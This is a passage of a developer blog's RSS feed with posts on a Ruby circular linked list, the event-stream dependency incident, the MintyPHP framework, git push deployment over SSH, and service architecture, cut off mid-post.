<li><a href="https://media.ccc.de/v/35c3-10017-electronic_evicence_in_criminal_matters">Electronic Evicence in Criminal Matters</a>
[46:20]</li>
<li><a href="https://media.ccc.de/v/35c3-9567-lightning_talks_day_3">Lightning Talks Day 3</a>
[125:16]</li>
<li><a href="https://media.ccc.de/v/35c3-9611-enclosure-puf">Enclosure-PUF</a> [61:20]</li>
<li><a href="https://media.ccc.de/v/35c3-10012-transhuman_expression">Transhuman Expression</a>
[62:01]</li>
<li><a href="https://media.ccc.de/v/35c3-9993-media_disruption_led_by_the_blind">Media Disruption Led By The Blind</a>
[31:10]</li>
<li><a href="https://media.ccc.de/v/35c3-9971-the_critical_making_movement">The Critical Making Movement</a>
[60:31]</li>
</ul>
<p>2018-12-30</p>
<ul>
<li><a href="https://media.ccc.de/v/35c3-9685-security_nightmares_0x13">Security Nightmares 0x13</a>
[71:32]</li>
<li><a href="https://media.ccc.de/v/35c3-9370-hacking_how_we_see">Hacking how we see</a>
[58:26]</li>
<li><a href="https://media.ccc.de/v/35c3-9774-radical_digital_painting">Radical Digital Painting</a>
[40:33]</li>
<li><a href="https://media.ccc.de/v/35c3-9727-netzpolitischer_wetterbericht_2018">Netzpolitischer Wetterbericht 2018</a>
[42:35]</li>
<li><a href="https://media.ccc.de/v/35c3-9911-chaos_communication_slam">Chaos Communication Slam</a>
[101:50]</li>
<li><a href="https://media.ccc.de/v/35c3-9986-closing_event">Closing Event</a> [27:27]</li>
<li><a href="https://media.ccc.de/v/35c3-9925-let_s_reverse_engineer_the_universe">Let&rsquo;s reverse engineer the Universe</a>
[60:41]</li>
<li><a href="https://media.ccc.de/v/35c3-9989-what_the_flag_is_ctf">What the flag is CTF?</a>
[41:44]</li>
<li><a href="https://media.ccc.de/v/35c3-10037-microtargeting_und_manipulation">Microtargeting und Manipulation</a>
[43:52]</li>
<li><a href="https://media.ccc.de/v/35c3-9486-hebocon">Hebocon</a> [36:48]</li>
<li><a href="https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth">Dissecting Broadcom Bluetooth</a>
[43:02]</li>
<li><a href="https://media.ccc.de/v/35c3-9343-court_in_the_akten">Court in the Akten</a>
[40:28]</li>
<li><a href="https://media.ccc.de/v/35c3-9532-kernel_tracing_with_ebpf">Kernel Tracing With eBPF</a>
[54:07]</li>
<li><a href="https://media.ccc.de/v/35c3-9768-open_source_orgelbau">Open Source Orgelbau</a>
[49:36]</li>
<li><a href="https://media.ccc.de/v/35c3-9905-are_machines_feminine">Are machines feminine?</a>
[60:09]</li>
<li><a href="https://media.ccc.de/v/35c3-9868-kickstart_the_chaos_hackerspace_grunden_fur_anfanger">Kickstart the Chaos: Hackerspace gründen für Anfänger</a>
[38:05]</li>
<li><a href="https://media.ccc.de/v/35c3-9623-augmented_reality_bridging_the_gap_between_the_physical_and_the_digital_world">Augmented Reality: Bridging the gap between the physical and the digital world</a>
[48:38]</li>
<li><a href="https://media.ccc.de/v/35c3-9964-cat_mouse_evading_the_censors_in_2018">Cat &amp; Mouse: Evading the Censors in 2018</a>
[55:05]</li>
<li><a href="https://media.ccc.de/v/35c3-9576-35c3_infrastructure_review">35C3 Infrastructure Review</a>
[0:00]</li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Doubly Linked Circular List in Ruby</title>
      <link>https://www.tqdev.com/2018-doubly-linked-circular-list-in-ruby/</link>
      <pubDate>Sun, 09 Dec 2018 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-doubly-linked-circular-list-in-ruby/</guid>
      <description>&lt;p&gt;For part 2 of the puzzle on
&lt;a href=&#34;https://adventofcode.com/2018/day/9&#34;&gt;day 9 of Advent of Code&lt;/a&gt; I needed an array
with cheap insertion and removal. That was a perfect excuse to implemented a
doubly linked circular list (in Ruby). It has 5 methods (append, remove, read,
rotate and length) and a constructor. You can also convert to string, something
that comes in handy for tests and during debugging.&lt;/p&gt;
&lt;h3 id=&#34;methods&#34;&gt;Methods&lt;/h3&gt;
&lt;p&gt;These are the 5 methods:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>For part 2 of the puzzle on
<a href="https://adventofcode.com/2018/day/9">day 9 of Advent of Code</a> I needed an array
with cheap insertion and removal. That was a perfect excuse to implemented a
doubly linked circular list (in Ruby). It has 5 methods (append, remove, read,
rotate and length) and a constructor. You can also convert to string, something
that comes in handy for tests and during debugging.</p>
<h3 id="methods">Methods</h3>
<p>These are the 5 methods:</p>
<ul>
<li>append(x) - adds value x at the end of the list.</li>
<li>remove() - removes an item from the end of the list.</li>
<li>read() - reads the item at the end of the list.</li>
<li>rotate(x) - moves the head x steps forward.</li>
<li>length() - gives you the length of the list.</li>
</ul>
<p>Below you find the test cases that show these methods in action.</p>
<h3 id="tests">Tests</h3>
<p>By reading the tests you can understand how the DoublyLinkedCircularList works.
Note that even though chaining is used in the API the implementation is not
immutable (for performance reasons).</p>
<pre><code>assert_equal('[]', DoublyLinkedCircularList.new.to_s)
assert_equal('[0]', DoublyLinkedCircularList.new.append(0).to_s)
assert_equal('[]', DoublyLinkedCircularList.new.append(0).remove.to_s)
assert_equal('[]', DoublyLinkedCircularList.new.append(0).remove.remove.to_s)
assert_equal('[0,1,2]', DoublyLinkedCircularList.new.append(0).append(1).append(2).to_s)
assert_equal('[0,1]', DoublyLinkedCircularList.new.append(0).append(1).append(2).remove.to_s)
assert_equal('[0]', DoublyLinkedCircularList.new.append(0).append(1).append(2).remove.remove.rotate(-1).to_s)
assert_equal('[0]', DoublyLinkedCircularList.new.append(0).append(1).append(2).remove.remove.rotate(1).to_s)
assert_equal('[2,0,1]', DoublyLinkedCircularList.new.append(0).append(1).append(2).rotate(-6).rotate(5).to_s)
assert_equal('[0,1,2]', DoublyLinkedCircularList.new.append(0).append(2).rotate(-1).append(1).rotate(1).to_s)
assert_equal('[0,]', DoublyLinkedCircularList.new.append(0).append(nil).to_s)
assert_equal(nil, DoublyLinkedCircularList.new.read)
assert_equal(nil, DoublyLinkedCircularList.new.append(0).append(nil).read)
assert_equal(0, DoublyLinkedCircularList.new.append(0).read)
assert_equal(1, DoublyLinkedCircularList.new.append(0).append(1).read)
assert_equal(1, DoublyLinkedCircularList.new.append(0).append(1).append(2).rotate(-1).read)
assert_equal('[1,2]', DoublyLinkedCircularList.new.append(0).append(1).append(2).rotate(-2).remove.to_s)
assert_equal(0, DoublyLinkedCircularList.new.length)
assert_equal(0, DoublyLinkedCircularList.new.remove.length)
assert_equal(1, DoublyLinkedCircularList.new.append(0).length)
assert_equal(2, DoublyLinkedCircularList.new.append(0).append(1).length)
assert_equal(1, DoublyLinkedCircularList.new.append(0).append(1).append(2).remove.remove.length)
</code></pre>
<p>These tests can also be found
<a href="https://github.com/mevdschee/AdventOfCode2018/tree/master/day09/tests.rb">here</a>.</p>
<h3 id="implementation">Implementation</h3>
<p>Ruby is quite an elegant language to write these kind of things in. Below you
find the class that implements the DoublyLinkedCircularList. Note that the class
has no dependencies:</p>
<pre><code>class DoublyLinkedCircularList
    attr_reader :length

    class Node
        attr_accessor :previous
        attr_accessor :next
        attr_reader     :value

        def initialize(_value)
            @previous = nil
            @next = nil
            @value = _value
        end

        def to_s
            @value.to_s
        end
    end

    def initialize
        @head = nil
        @length = 0
    end

    def rotate(steps)
        return self if @head.nil?
        steps.abs.times do
            @head = if steps &lt; 0
                        @head.previous
                    else
                        @head.next
                    end
        end
        self
    end

    def append(value)
        node = Node.new(value)
        if @head.nil?
            node.previous = node
            node.next = node
        else
            node.previous = @head
            node.next = @head.next
        end
        node.previous.next = node
        node.next.previous = node
        @head = node
        @length += 1
        self
    end

    def remove
        return self if @head.nil?
        node = @head.previous
        node.next = @head.next
        node.next.previous = node
        @head = if @head == @head.next
                    nil
                else
                    @head.previous
                end
        @length -= 1
        self
    end

    def read
        if @head.nil?
            nil
        else
            @head.value
        end
    end

    def to_s
        str = '['
        node = @head
        unless node.nil?
            loop do
                node = node.next
                str += node.to_s
                break if node == @head
                str += ','
            end
        end
        str += ']'
        str
    end
end
</code></pre>
<p>This code can also be found
<a href="https://github.com/mevdschee/AdventOfCode2018/tree/master/day09/part1.rb">here</a>.
I also did a port of this code to Go that can be found
<a href="https://github.com/mevdschee/AdventOfCode2018/blob/master/day09/part2.go">here</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Security risk: a hidden cost of dependencies</title>
      <link>https://www.tqdev.com/2018-security-hidden-cost-dependencies/</link>
      <pubDate>Mon, 26 Nov 2018 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-security-hidden-cost-dependencies/</guid>
      <description>&lt;p&gt;Last week, it seemed like somebody tried to steal from Bitcoin wallets using a
rogue release of &lt;a href=&#34;https://github.com/dominictarr/event-stream&#34;&gt;event-stream&lt;/a&gt; a
JavaScript dependency (that is used a lot). You can read about it on the
&amp;ldquo;&lt;a href=&#34;https://github.com/dominictarr/event-stream/issues/116&#34;&gt;I dont know what to say&lt;/a&gt;&amp;rdquo;
issue on it&amp;rsquo;s GitHub issue tracker. I&amp;rsquo;ll discuss the background of this event in
this post.&lt;/p&gt;
&lt;h3 id=&#34;tldr&#34;&gt;TLDR;&lt;/h3&gt;
&lt;p&gt;JavaScript projects use lots of (often transitive) dependencies, because
JavaScript has no good standard library. If one of these dependencies falls into
the hands of a malicious actor, then many websites may be vulnerable
(event-stream) or broken (leftpad). These problems have nothing to do with
JavaScript or Node, but with the hidden costs of dependencies.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Last week, it seemed like somebody tried to steal from Bitcoin wallets using a
rogue release of <a href="https://github.com/dominictarr/event-stream">event-stream</a> a
JavaScript dependency (that is used a lot). You can read about it on the
&ldquo;<a href="https://github.com/dominictarr/event-stream/issues/116">I dont know what to say</a>&rdquo;
issue on it&rsquo;s GitHub issue tracker. I&rsquo;ll discuss the background of this event in
this post.</p>
<h3 id="tldr">TLDR;</h3>
<p>JavaScript projects use lots of (often transitive) dependencies, because
JavaScript has no good standard library. If one of these dependencies falls into
the hands of a malicious actor, then many websites may be vulnerable
(event-stream) or broken (leftpad). These problems have nothing to do with
JavaScript or Node, but with the hidden costs of dependencies.</p>
<h3 id="reactions">Reactions</h3>
<p>People are angry at the author of the dependency:</p>
<blockquote>
<p>You put at risk millions of people, and making something for free, but public,
means you are responsible for the package.</p></blockquote>
<blockquote>
<p>There is a huge difference between not maintaining a repo/package, vs giving
it away to a hacker (which actually takes more effort than doing nothing)</p></blockquote>
<p>And full of good advice for the readers of the issue:</p>
<blockquote>
<p>maintainers should start using static dependencies and update dependencies
only after code reviews.</p></blockquote>
<blockquote>
<p>If you want security maybe move away from node.</p></blockquote>
<p>But they seem not to address the real issue: the hidden costs of dependencies.</p>
<h3 id="the-3-hidden-costs-of-dependencies">The 3 hidden costs of dependencies</h3>
<p>The developer community seems to agree that it is bad to &ldquo;reinvent the wheel&rdquo;
and that suffering from &ldquo;not-invented-here&rdquo; syndrome is bad. Unfortunately they
forgot to warn us for the &ldquo;hidden costs of dependencies&rdquo;.</p>
<ul>
<li>Availability risk: will your dependency be maintained?</li>
<li>Security risk: can your dependency be trusted?</li>
<li>Compatibility risk: will your dependency be compatible?</li>
</ul>
<p>I&rsquo;ll give some examples of these below.</p>
<h3 id="hidden-cost-1-availability-risk">Hidden cost #1: Availability risk</h3>
<p>Dependencies may have bugs that are not fixed in a timely manner. They could
also be pulled offline for legal reasons. Sometimes we see forks appear to
guarantee availability, but these new dependencies have an even bigger concern
for security and compatibility.</p>
<h3 id="hidden-cost-2-security-risk">Hidden cost #2: Security risk</h3>
<p>Who wrote the code? Does the author publish a real name and contact details? I
think successful (well-known) developers (especially at larger corporations) are
less likely to sell out as they have a reputation to protect and most likely no
need for making a quick buck.</p>
<h3 id="hidden-cost-3-compatibility-risk">Hidden cost #3: Compatibility risk</h3>
<p>Will the API use semantic versioning and stay stable? Will the dependency not
drop support for certain browsers or operating systems? How about the licenses
of the chosen (transitive) dependencies, will these be compatible with yours,
now and in the future?</p>
<h3 id="final-words">Final words</h3>
<p>This is a difficult problem that is not specific to JavaScript or Node. Any
programming language that requires lots of small (transitive) dependencies will
suffer from this. This is also where the solution lies. Choose a programming
language with a strong standard library and use only a handful of large, popular
and well maintained dependencies. And for other (small) parts, just write some
well-tested function libraries that help you to solve the problems in your
domain (it may even be fun to get your hands dirty).</p>
<p>Happy coding!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Reduce the mental load for developers</title>
      <link>https://www.tqdev.com/2018-web-development-made-simple/</link>
      <pubDate>Sun, 18 Nov 2018 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-web-development-made-simple/</guid>
      <description>&lt;p&gt;I love Ruby on Rails and I was reading
&lt;a href=&#34;https://dev.to/ben/many-software-communities-do-not-value-the-need-to-reduce-the-mental-load-for-developers-dcj&#34;&gt;Ben Halpern review&lt;/a&gt;
of
&lt;a href=&#34;https://www.youtube.com/watch?v=zKyv-IGvgGE&#34;&gt;David Heinemeier Hansson&amp;rsquo;s Keynote on Railsconf&lt;/a&gt;.
I agree with Ben Halpern that the reduction of &amp;ldquo;the mental load for developers&amp;rdquo;
is an undervalued concern in the world of web development frameworks. In this
post I will define some even stronger goals for web development frameworks.&lt;/p&gt;
&lt;h3 id=&#34;new-useful-technology&#34;&gt;New &amp;ldquo;useful&amp;rdquo; technology&lt;/h3&gt;
&lt;p&gt;Ben Halpern continues:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;the JavaScript community proliferates new &amp;ldquo;useful&amp;rdquo; technology without giving
as much thought to the mental overhead of constantly learning new things and
finding out how to fit everything together.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I love Ruby on Rails and I was reading
<a href="https://dev.to/ben/many-software-communities-do-not-value-the-need-to-reduce-the-mental-load-for-developers-dcj">Ben Halpern review</a>
of
<a href="https://www.youtube.com/watch?v=zKyv-IGvgGE">David Heinemeier Hansson&rsquo;s Keynote on Railsconf</a>.
I agree with Ben Halpern that the reduction of &ldquo;the mental load for developers&rdquo;
is an undervalued concern in the world of web development frameworks. In this
post I will define some even stronger goals for web development frameworks.</p>
<h3 id="new-useful-technology">New &ldquo;useful&rdquo; technology</h3>
<p>Ben Halpern continues:</p>
<blockquote>
<p>the JavaScript community proliferates new &ldquo;useful&rdquo; technology without giving
as much thought to the mental overhead of constantly learning new things and
finding out how to fit everything together.</p></blockquote>
<p>This is a pretty clear and strong statement, followed by another strong
statement:</p>
<blockquote>
<p>Rails [&hellip;] often fails to benefit quickly from the latest and greatest tools
or architecture principles. It&rsquo;s occasionally brutal in this way. But the
acknowledged trade-offs keep it healthy.</p></blockquote>
<p>I completely agree with Ben.</p>
<h3 id="3-virtues-of-a-good-web-framework">3 virtues of a good web framework</h3>
<p>I believe that a there are three things a good web framework should have:</p>
<ul>
<li>Lack of change - no need for innovation, it is an investment</li>
<li>Lack of choice - it should kill bike shedding arguments</li>
<li>Lack of features - best practices and administrative applications only</li>
</ul>
<p>They should aim to reduce the following:</p>
<ul>
<li>Cost of learning – maximize documentation reuse &amp; minimize innovation</li>
<li>Cost of scaling – maximize compatibility &amp; minimize lines of code executed</li>
<li>Cost of defects – maximize best practices &amp; minimize complexity</li>
</ul>
<p>One of the thing we can do without is Dependency Injection (a popular method to
implement Inversion of Control).</p>
<h3 id="static-classes-as-function-libraries">Static classes as function libraries</h3>
<p>Dependency Injection has
<a href="https://en.wikipedia.org/wiki/Dependency_injection#Disadvantages">numerous serious disadvantages</a>.
Most web applications are simple administrative applications with web forms that
do little more than simple CRUD. Most have some form of asynchronous jobs, but
these are often developed in another technology. It simply does not pay off to
be this flexible. The web development framework designer already knows what you
are going to build and what is needed for that. I feel that function libraries
with stable, well designed and documented APIs are the pragmatic choice that
fits much better.</p>
<h3 id="simple-is-better">Simple is better</h3>
<p>So, it may be clear that I believe that simple is better. With that “vision” I
wrote MintyPHP. Whether you like it or not you may decide for yourself, but it
certainly is easy to learn and also faster than CakePHP or Laravel, while
providing the same abstraction layers to keep things organized.</p>
<p>Check out <a href="https://mintyphp.github.io/">https://mintyphp.github.io/</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>MintyPHP now on packagist!</title>
      <link>https://www.tqdev.com/2018-mindaphp-now-on-packagist/</link>
      <pubDate>Fri, 26 Oct 2018 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-mindaphp-now-on-packagist/</guid>
      <description>&lt;p&gt;I have created MintyPHP (formerly known as MindaPHP) to quickly build web
applications on the
&lt;a href=&#34;https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29&#34;&gt;LAMP stack&lt;/a&gt;. After
using MintyPHP in production for 5 years (this site is created with it) this web
framework is (finally) available on
&lt;a href=&#34;https://packagist.org/packages/MintyPHP/&#34;&gt;packagist&lt;/a&gt;! This means that updates
will now go automatic with &lt;a href=&#34;https://getcomposer.org/&#34;&gt;composer&lt;/a&gt;. The project is
now divided in 4 packages with &amp;ldquo;MintyPHP&amp;rdquo; as the main package and 3
dependencies: &amp;ldquo;core&amp;rdquo;, &amp;ldquo;tools&amp;rdquo; and &amp;ldquo;debugger&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;warning&#34;&gt;WARNING!&lt;/h3&gt;
&lt;p&gt;MintyPHP claims to be &amp;ldquo;refreshingly different&amp;rdquo;, but for some people this is &amp;ldquo;a
bit quirky&amp;rdquo; or even &amp;ldquo;completely wrong&amp;rdquo;. It is a web framework with a different
approach than other frameworks (such as Laravel, Symfony or Slim). In this post
I will try to explain what it does different and why you may like that it does.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have created MintyPHP (formerly known as MindaPHP) to quickly build web
applications on the
<a href="https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29">LAMP stack</a>. After
using MintyPHP in production for 5 years (this site is created with it) this web
framework is (finally) available on
<a href="https://packagist.org/packages/MintyPHP/">packagist</a>! This means that updates
will now go automatic with <a href="https://getcomposer.org/">composer</a>. The project is
now divided in 4 packages with &ldquo;MintyPHP&rdquo; as the main package and 3
dependencies: &ldquo;core&rdquo;, &ldquo;tools&rdquo; and &ldquo;debugger&rdquo;.</p>
<h3 id="warning">WARNING!</h3>
<p>MintyPHP claims to be &ldquo;refreshingly different&rdquo;, but for some people this is &ldquo;a
bit quirky&rdquo; or even &ldquo;completely wrong&rdquo;. It is a web framework with a different
approach than other frameworks (such as Laravel, Symfony or Slim). In this post
I will try to explain what it does different and why you may like that it does.</p>
<h3 id="omg-no-oop">OMG, no OOP!</h3>
<p>All functionality is implemented in static functions and classes are merely
libraries grouping these functions. This approach avoids OOP and this is a good
thing. Yes it really is. Watch Brian Will&rsquo;s
&ldquo;<a href="https://www.youtube.com/watch?v=QM1iUe6IofM">Object-Oriented Programming is Bad</a>&rdquo;
presentation if you are in doubt.</p>
<h3 id="routing-based-on-filenames-and-directory-structure">Routing based on filenames and directory structure</h3>
<p>There is a router, but it is path and filename based. This means that you don&rsquo;t
write regular expressions, but you just create files and directories to create
routes. You can only create routes in the &ldquo;pages&rdquo; directory. You can add a route
prefix by creating a directory. Every file you create will either be a &ldquo;view&rdquo; or
a &ldquo;controller&rdquo;. Views are identified by the &ldquo;.phtml&rdquo; extension, while
controllers have the more common &ldquo;.php&rdquo; extension.</p>
<h3 id="no-orm-write-sql">No ORM, write SQL?!</h3>
<p>There is no ORM and no DBAL. It is simple, you just write (MariaDB) queries.
They are quite performant and have virtually unlimited possibilities. You will
never move away from MariaDB, because MariaDB is free and used at almost every
scale. Models are not used as they are an OOP idea. Repositories are really just
classes holding named SQL queries. You are free to create these.</p>
<h3 id="view-templates-and-controller-parameters-in-parentheses">View templates and controller parameters in parentheses</h3>
<p>The filename of the view contains the name of the template between parentheses
(round brackets). The file &ldquo;hello(default).phtml&rdquo; is the view for the &ldquo;hello&rdquo;
action and it uses the &ldquo;default&rdquo; template. The file
&ldquo;hello($name).php&rdquo; is a controller for the &ldquo;hello&rdquo; action and between parentheses you see parameter defined. You may invoke this action by requesting the &ldquo;/hello/world&rdquo; path. This will execute the controller with the value &ldquo;world&rdquo; set in the &ldquo;$name&rdquo;
variable. This variable is also available in the view that is executed
afterwards as both the controller and view are executed within the same variable
scope.</p>
<h3 id="php-as-a-template-language">PHP as a template language</h3>
<p>Your view files are written in PHP and not in Blade or Twig. This is (very) good
for performance. The needed security is achieved by static analysis of the
executed source code (both the views and controllers). This is only done when
debugging to avoid performance problems. The run-time will complain when you use
&ldquo;echo&rdquo; or &ldquo;die&rdquo;. The framework also provides you with &ldquo;e()&rdquo; a nice escaping echo
function and &ldquo;d()&rdquo; for printing variables to the debug toolbar (alternative for
&ldquo;var_dump&rdquo;).</p>
<h3 id="awesome-tools-built-in">Awesome tools built-in</h3>
<p>A debugger is built-in and it is designed to be as powerful as Symfony&rsquo;s debug
toolbar. From the debugger toolbar you can access the &ldquo;conventionist&rdquo; that gives
you advice about your database structure. It also gives you access to a database
editor &ldquo;Adminer&rdquo; (written by Jakub Vrána), which is much better than PHPMyAdmin.
There is also a &ldquo;generator&rdquo; to create CRUD views and a &ldquo;configurator&rdquo; that
detects when you need to configure your application parameters (such as database
credentials).</p>
<h3 id="try-it">Try it</h3>
<p>Are you interested in this project? You can find it on Github:</p>
<p><a href="https://github.com/MintyPHP/MintyPHP">https://github.com/MintyPHP/MintyPHP</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Deploy with Git: push to production</title>
      <link>https://www.tqdev.com/2018-deploying-with-git-push-to-production/</link>
      <pubDate>Mon, 22 Oct 2018 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-deploying-with-git-push-to-production/</guid>
      <description>&lt;p&gt;When you are building applications or websites in PHP, Ruby, Python or any other
scripting language then you may still be using FTP to deploy to production.
Please don&amp;rsquo;t! When you have SSH access to your production server (for instance
when running on a VPS), then you may use Git to automatically deploy your
software. We will setup your production server as a Git remote so that you can
type &amp;ldquo;git push production&amp;rdquo; to deploy the latest version of your code to
production. This post will show you the steps to take to achieve this.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you are building applications or websites in PHP, Ruby, Python or any other
scripting language then you may still be using FTP to deploy to production.
Please don&rsquo;t! When you have SSH access to your production server (for instance
when running on a VPS), then you may use Git to automatically deploy your
software. We will setup your production server as a Git remote so that you can
type &ldquo;git push production&rdquo; to deploy the latest version of your code to
production. This post will show you the steps to take to achieve this.</p>
<h3 id="configuring-public-key-based-access">Configuring public key based access</h3>
<p>Your local machine needs a public/private key-pair to be able to deploy to
production without a password. You can generate a public/private key-pair using
&ldquo;ssh-keygen&rdquo; on Linux or &ldquo;PuTTYgen&rdquo; on Windows. You may install the Linux
package using:</p>
<pre><code>sudo apt install openssh-client
</code></pre>
<p>or the download and install the windows MSI package from:</p>
<pre><code>https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
</code></pre>
<p>On Linux your private key is saved to &ldquo;~/.ssh/id_rsa&rdquo; and on Windows you create
a file with a &ldquo;.pkk&rdquo; extension. Both formats can (and should) be encrypted using
a passphrase for protection.</p>
<h3 id="install-you-private-key">Install you private key</h3>
<p>On the server you login using your password. Then you create a
&ldquo;~/.ssh/authorized_keys&rdquo; file using:</p>
<pre><code>mkdir ~/.ssh
nano ~/.ssh/authorized_keys
</code></pre>
<p>In that file you copy the contents of your &ldquo;<code>.ssh/id_rsa.pub</code>&rdquo; file (as a single
line). If you have created a &ldquo;.pkk&rdquo; file you need to look for the public key in
OpenSSH format (for pasting into &ldquo;<code>authorized_keys</code>&rdquo;). When using &ldquo;nano&rdquo; use
&ldquo;Ctrl-O&rdquo; to save and &ldquo;Ctrl-X&rdquo; to exit.</p>
<h3 id="creating-a-bare-repo-to-push-to">Creating a bare repo to push to</h3>
<p>On the server you need a repository to push to. This should be a bare repo to
avoid conflicts. If your script project resides in &ldquo;~/public_html&rdquo; then you may
create a repo in a new directory and initialize it using:</p>
<pre><code>mkdir ~/myproject.git
cd ~/myproject.git
git --bare init
</code></pre>
<p>Now you have a bare repository as a target to push to. Lets ensure that the
&ldquo;public_html&rdquo; contains a clone of the bare repo using:</p>
<pre><code>cd ~/public_html
git clone ~/myproject.git .
</code></pre>
<h3 id="adding-a-post_receive-hook-to-automate">Adding a &ldquo;post_receive&rdquo; hook to automate</h3>
<p>In the hooks directory of the bare repo you can create a script with execution
rights that pulls the contents from the bare repo to the production site. The
file should be</p>
<pre><code>nano ~/myproject.git/hooks/post-receive
</code></pre>
<p>Make sure the contents of the file are:</p>
<pre><code>#!/bin/bash
unset GIT_DIR
cd /home/maurits/public_html/
git pull
</code></pre>
<p>Now make the file executable, so that it can be run after receiving a commit:</p>
<pre><code>chmod 755 ~/myproject.git/hooks/post-receive
</code></pre>
<h3 id="testing-the-deployment">Testing the deployment</h3>
<p>First you need to add an extra remote to your local repository:</p>
<pre><code>git remote add production maurits@localhost:myproject.git
</code></pre>
<p>You should replace &ldquo;localhost&rdquo; with the server address and &ldquo;maurits&rdquo; with your
username on that server. Then you need to test an edit and execute:</p>
<pre><code>git push production
</code></pre>
<p>Note that you may have to set the default branch (master) with the suggested
command.</p>
<p>Enjoy pushing to production!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Microservice vs. dataservice architecture</title>
      <link>https://www.tqdev.com/2018-microservice-dataservice-architecture/</link>
      <pubDate>Wed, 17 Oct 2018 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-microservice-dataservice-architecture/</guid>
      <description>&lt;p&gt;All product companies have monoliths. They have many advantages, but they fail
when scaling up and out. Most companies are moving to microservices. But
microservices fail to protect data quality. The solution is the dataservice
architecture as described in this article.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Monolith architecture fails to formalize responsibilities and limit
dependencies between software teams. Microservice architecture fails to ensure
data quality as transactions and consistency checks are absent. Dataservice
architecture will solve both issues.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>All product companies have monoliths. They have many advantages, but they fail
when scaling up and out. Most companies are moving to microservices. But
microservices fail to protect data quality. The solution is the dataservice
architecture as described in this article.</p>
<blockquote>
<p>Monolith architecture fails to formalize responsibilities and limit
dependencies between software teams. Microservice architecture fails to ensure
data quality as transactions and consistency checks are absent. Dataservice
architecture will solve both issues.</p></blockquote>
<h3 id="dataservice-architecture">Dataservice architecture</h3>
<p>In this architecture teams have three kinds of services: &ldquo;data services&rdquo;, &ldquo;logic
services&rdquo; and &ldquo;render services&rdquo;. This sounds like microservices, but there is a
subtle difference. It actually resembles the MVC structure of a monolith. The
data services expose the data structure with a security model. The logic
services connect to multiple data services and do not have their own storage
(but may have cache). The render services combine JSON sources to output HTML.
Not that you may have multiple data services, but that they do have to operate
on the same database. Data services produce JSON and so do logic services.
Render services on the other hand produce HTML.</p>
<h3 id="you-need-a-dba">You need a DBA</h3>
<p>When you change the data structure you need to conform to the DBA guidelines.
These are pretty simple. Do not use natural or composite primary keys. Use
foreign key constraints and add indexes to foreign keys. Unstructured data is
not allowed. Meta constructs, such as &ldquo;entity&rdquo; and &ldquo;property&rdquo; tables are not
allowed either. All tables are owned by a single dataservice (store the owner in
the table comment). You may not have cascading updates between tables owned by
different data services. You will need a DBA, because having a clean data model
is the key to high quality software.</p>
<h3 id="you-need-an-architect">You need an architect</h3>
<p>When implementing multiple services you need to standardize on a stack and not
just any stack. You need the stack that brings most value to your software.
Software architects have to deny the usage of technologies that are not needed
or not known as the industry&rsquo;s best practice. For instance, a Java shop should
have very good reasons not to use Spring Boot, Hibernate and JSP. Architects are
needed to counter the arguments that developers (and sometimes managers) make
for using the latest and greatest (hyped) technology.</p>
<h3 id="resume-driven-development">Resume Driven Development</h3>
<p>Developers and managers have perverse incentives to use complex solutions and
lots of people for simple tasks. This is what is often referred to &ldquo;Resume
Driven Development&rdquo;. It means that people argue decisions with the contents of
their resume in mind. They do not aim for maximizing software value at their
current employer, but optimize for a higher salary at their next employer. The
DBA and architect need to control this. Unfortunately most companies will have
zero incentives to reward this type of quality control. This means that the DBA
and architect lose and the developers and managers win. This results in software
that is a big ball of mud and that require heaps of developers to make minor
changes in.</p>
<p>Recognize this problem?</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API version 2 released</title>
      <link>https://www.tqdev.com/2018-php-crud-api-version-2-released/</link>
      <pubDate>Sun, 14 Oct 2018 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-php-crud-api-version-2-released/</guid>
      <description>&lt;p&gt;Yesterday I released version 2 of
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt;, the
&lt;a href=&#34;https://treeql.org&#34;&gt;TreeQL&lt;/a&gt; reference implementation in a single PHP file.
About 6 months ago I wrote about my progress on version 2. I was expecting it
would take me about 2 months until I could release a final version 2. It took 6
months and I created 8 beta releases in the process. I&amp;rsquo;m very thankful to the
people that were trying these beta versions out and for the issue reports that I
have received.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Yesterday I released version 2 of
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>, the
<a href="https://treeql.org">TreeQL</a> reference implementation in a single PHP file.
About 6 months ago I wrote about my progress on version 2. I was expecting it
would take me about 2 months until I could release a final version 2. It took 6
months and I created 8 beta releases in the process. I&rsquo;m very thankful to the
people that were trying these beta versions out and for the issue reports that I
have received.</p>
<h3 id="removed-streaming-data--client-side-transformations">Removed: streaming data &amp; client-side transformations</h3>
<p>In both v1 and v2 the design goal is to have a light-weight REST API
implementation. In v1 I believed low memory footprint was important. I
implemented the API as a streaming service and that required a JSON
transformation on the client-side (in the browser). Streaming is great as it
allows you to serve millions of records without using much memory. There were
